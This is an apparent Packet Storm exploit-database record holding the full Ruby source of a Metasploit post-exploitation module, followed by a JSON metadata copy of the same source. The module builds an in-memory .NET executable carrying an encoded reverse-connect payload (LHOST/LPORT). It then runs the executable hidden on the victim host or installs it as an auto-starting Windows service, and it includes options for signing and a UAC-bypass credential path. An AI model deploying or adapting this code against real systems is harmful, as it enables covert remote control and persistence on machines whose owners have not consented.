ID PACKETSTORM:139050 Type packetstorm Reporter Matt Andreko Modified 2016-10-10T00:00:00
Description
`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Powershell::DotNet
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => "Powershell Payload Execution",
'Description' => %q{
This module generates a dynamic executable on the session host using .NET templates.
Code is pulled from C# templates and impregnated with a payload before being
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
the executable (standard or Windows service) in memory and produces a binary
which can be started/installed and downloaded for later use. After compilation the
PoweShell session can also sign the executable if provided a path the a .pfx formatted
certificate.
},
'License' => MSF_LICENSE,
'Author' => [
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
'Matt "hostess" Andreko' # .NET harness, and requested modifications
],
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
},
},
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 14 2012'
))
register_options(
[
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
], self.class)
register_advanced_options(
[
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
OptString.new('USERNAME', [false, 'Windows username']),
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
], self.class)
end
def exploit
# Make sure we meet the requirements before running the script
if !(session.type == "meterpreter" || have_powershell?)
print_error("Incompatible Environment")
return
end
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
print_error("Cannot run as system")
return
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
com_opts = {}
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
com_opts[:payload] = payload_script #payload.encoded
vprint_good com_opts[:payload].length.to_s
if datastore['SVC_GEN']
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
else
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
end
com_opts[:cert] = datastore['CERT_PATH']
if datastore['SVC_REMOVE']
remove_dyn_service(com_opts[:target])
return
end
vprint_good("Writing to #{com_opts[:target]}")
com_script = dot_net_compiler(com_opts)
ps_out = psh_exec(com_script)
if datastore['Powershell::Post::dry_run']
print_good com_script
print_error ps_out
return
end
# Check for result
begin
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
rescue
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
return
end
# Run the harness
if datastore['START_APP']
if datastore['SVC_GEN']
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Started")
end
else
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
end
end
print_good('Finished!')
end
# This should be handled by the exploit mixin, right?
def payload_script
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
payload = pay_mod.generate_simple(
"BadChars" => '',
"Format" => 'raw',
"Encoder" => 'x86/alpha_mixed',
"ForceEncode" => true,
"Options" =>
{
'LHOST' => datastore['LHOST'],
'LPORT' => datastore['LPORT'],
'EXITFUNC' => 'thread',
'BufferRegister' => 'EAX'
},
)
# To ensure compatibility out payload should be US-ASCII
return payload.encode('ASCII')
end
# Local service functionality should probably be replaced with upstream Post
def remove_dyn_service(file_path)
service_stop(datastore['SVC_NAME'])
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
session.fs.file.rm(file_path.gsub('\\','\\\\'))
else
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
end
return
end
def install_dyn_service(file_path)
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Binary #{file_path} Started")
end
end
end
`
{"hash": "cf41789808660e2a0be4dcf6f6915870e189c49b5131f358a4797673a6557c8a", "sourceHref": "https://packetstormsecurity.com/files/download/139050/ps_persist.rb.txt", "title": "Powershell Payload Execution", "id": "PACKETSTORM:139050", "published": "2016-10-10T00:00:00", "description": "", "modified": "2016-10-10T00:00:00", "sourceData": "`## \n# This module requires Metasploit: http://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \nrequire 'msf/core/post/windows/services' \nrequire 'msf/core/post/windows/powershell' \nrequire 'msf/core/exploit/powershell/dot_net' \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::Windows::Services \ninclude Msf::Post::Windows::Powershell \ninclude Msf::Post::Windows::Powershell::DotNet \ninclude Msf::Post::File \n \ndef initialize(info={}) \nsuper(update_info(info, \n'Name' => \"Powershell Payload Execution\", \n'Description' => %q{ \nThis module generates a dynamic executable on the session host using .NET templates. \nCode is pulled from C# templates and impregnated with a payload before being \nsent to a modified PowerShell session with .NET 4 loaded. The compiler builds \nthe executable (standard or Windows service) in memory and produces a binary \nwhich can be started/installed and downloaded for later use. After compilation the \nPoweShell session can also sign the executable if provided a path the a .pfx formatted \ncertificate. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu \n'Matt \"hostess\" Andreko' # .NET harness, and requested modifications \n], \n \n'Payload' => \n{ \n'EncoderType' => Msf::Encoder::Type::AlphanumMixed, \n'EncoderOptions' => \n{ \n'BufferRegister' => 'EAX', \n}, \n}, \n'Platform' => [ 'windows' ], \n'SessionTypes' => [ 'meterpreter' ], \n'Targets' => [ [ 'Universal', {} ] ], \n'DefaultTarget' => 0, \n'DisclosureDate' => 'Aug 14 2012' \n \n)) \n \nregister_options( \n[ \nOptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]), \nOptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']), \nOptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']), \nOptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]), \nOptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]), \n \n], self.class) \n \nregister_advanced_options( \n[ \nOptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]), \nOptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']), \nOptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]), \nOptString.new('USERNAME', [false, 'Windows username']), \nOptString.new('PASSWORD', [false, 'Windows user password - cleartext']), \nOptString.new('DOMAIN', [false, 'Windows domain or workstation name']), \n \n], self.class) \n \nend \n \ndef exploit \n \n# Make sure we meet the requirements before running the script \nif !(session.type == \"meterpreter\" || have_powershell?) \nprint_error(\"Incompatible Environment\") \nreturn \nend \n# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either \nif client.sys.config.getuid == 'NT AUTHORITY\\SYSTEM' \nprint_error(\"Cannot run as system\") \nreturn \nend \n \n# End of file marker \neof = Rex::Text.rand_text_alpha(8) \nenv_suffix = Rex::Text.rand_text_alpha(8) \n \ncom_opts = {} \ncom_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session \ncom_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + \"\\\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe\" \ncom_opts[:payload] = payload_script #payload.encoded \nvprint_good com_opts[:payload].length.to_s \n \nif datastore['SVC_GEN'] \ncom_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs') \ncom_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll'] \nelse \ncom_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs') \nend \n \ncom_opts[:cert] = datastore['CERT_PATH'] \n \nif datastore['SVC_REMOVE'] \nremove_dyn_service(com_opts[:target]) \nreturn \nend \nvprint_good(\"Writing to #{com_opts[:target]}\") \n \ncom_script = dot_net_compiler(com_opts) \nps_out = psh_exec(com_script) \n \nif datastore['Powershell::Post::dry_run'] \nprint_good com_script \nprint_error ps_out \nreturn \nend \n# Check for result \nbegin \nsize = session.fs.file.stat(com_opts[:target].gsub('\\\\','\\\\\\\\')).size \nvprint_good(\"File #{com_opts[:target].gsub('\\\\','\\\\\\\\')} found, #{size}kb\") \nrescue \nprint_error(\"File #{com_opts[:target].gsub('\\\\','\\\\\\\\')} not found\") \nreturn \nend \n \n# Run the harness \nif datastore['START_APP'] \nif datastore['SVC_GEN'] \nservice_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\\\','\\\\\\\\'), startup=2, server=nil) \nif service_start(datastore['SVC_NAME']).to_i == 0 \nvprint_good(\"Service Started\") \nend \nelse \nsession.sys.process.execute(com_opts[:target].gsub('\\\\','\\\\\\\\'), nil, {'Hidden' => true, 'Channelized' => true}) \nend \nend \n \n \nprint_good('Finished!') \nend \n \n \n# This should be handled by the exploit mixin, right? \ndef payload_script \npay_mod = framework.payloads.create(datastore['PAYLOAD']) \npayload = pay_mod.generate_simple( \n\"BadChars\" => '', \n\"Format\" => 'raw', \n\"Encoder\" => 'x86/alpha_mixed', \n\"ForceEncode\" => true, \n\"Options\" => \n{ \n'LHOST' => datastore['LHOST'], \n'LPORT' => datastore['LPORT'], \n'EXITFUNC' => 'thread', \n'BufferRegister' => 'EAX' \n}, \n) \n \n# To ensure compatibility out payload should be US-ASCII \nreturn payload.encode('ASCII') \nend \n \n# Local service functionality should probably be replaced with upstream Post \ndef remove_dyn_service(file_path) \nservice_stop(datastore['SVC_NAME']) \nif service_delete(datastore['SVC_NAME'])['GetLastError'] == 0 \nvprint_good(\"Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\\\','\\\\\\\\')}\") \nsession.fs.file.rm(file_path.gsub('\\\\','\\\\\\\\')) \nelse \nprint_error(\"Something went wrong, not deleting #{file_path.gsub('\\\\','\\\\\\\\')}\") \nend \nreturn \nend \n \ndef install_dyn_service(file_path) \n \nservice_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\\\','\\\\\\\\'), startup=2, server=nil) \nif service_start(datastore['SVC_NAME']).to_i == 0 \nvprint_good(\"Service Binary #{file_path} Started\") \nend \nend \n \nend \n`\n", "reporter": "Matt Andreko", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "a28d87817eb954eebdcd81bf8869500b"}, {"key": "modified", "hash": "f6a3169a9b109017b874b2e51edfb43e"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "f6a3169a9b109017b874b2e51edfb43e"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "72a8d7e0b3977a1146431607d98c5b65"}, {"key": "sourceData", "hash": "5c418fba5f73cb8a25ac75cc47ac399a"}, {"key": "sourceHref", "hash": "0b23746e6c6b8e4aceaeafcb3f2faee8"}, {"key": "title", "hash": "d1127371876bfc28d55db3e488d5bbc2"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "cvss": {"vector": "NONE", "score": 0.0}, "references": [], "type": "packetstorm", "cvelist": [], "history": [], "bulletinFamily": "exploit", "objectVersion": "1.2", "edition": 1, "href": "https://packetstormsecurity.com/files/139050/Powershell-Payload-Execution.html", "lastseen": "2016-11-03T10:22:57", "viewCount": 0, "enchantments": {"vulnersScore": 5.0}}